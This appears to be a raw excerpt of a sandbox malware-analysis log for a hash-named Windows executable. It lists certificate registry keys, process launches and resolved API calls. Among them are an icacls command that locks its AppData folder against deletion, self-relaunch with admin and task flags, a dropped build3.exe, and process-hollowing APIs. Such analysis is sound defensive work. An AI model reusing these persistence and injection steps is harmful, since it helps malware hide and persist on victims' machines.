"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "")37:T727,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")38:T583,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "CreateProcessA" with parameter ""C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe"" - (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "CreateProcessW" with parameter "icacls "%LOCALAPPDATA%\aa563fba-3360-4fa5-95e2-4e5b9f25d979" /deny *S-1-1-0:(OI)(CI)(DE,DC)" - (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "CreateProcessW" with parameter ""C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" --Admin IsNotAutoStart IsNotTask" - (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "CreateProcessA" with parameter ""C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" --Admin IsNotAutoStart IsNotTask" - (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "CreateProcessW" with parameter ""%LOCALAPPDATA%\5f84ace5-27d6-428f-a563-af4a01c6689e\build3.exe"" - (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "CreateProcessA" with parameter "%LOCALAPPDATA%\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe --Task" - (UID: 00000000-00001252)39:T1e81,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter Shell32.dll (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter ADVAPI32.DLL (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter NETAPI32.DLL (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter USER32.DLL (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001252) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003740) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00003740)3a:T10ea8,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called 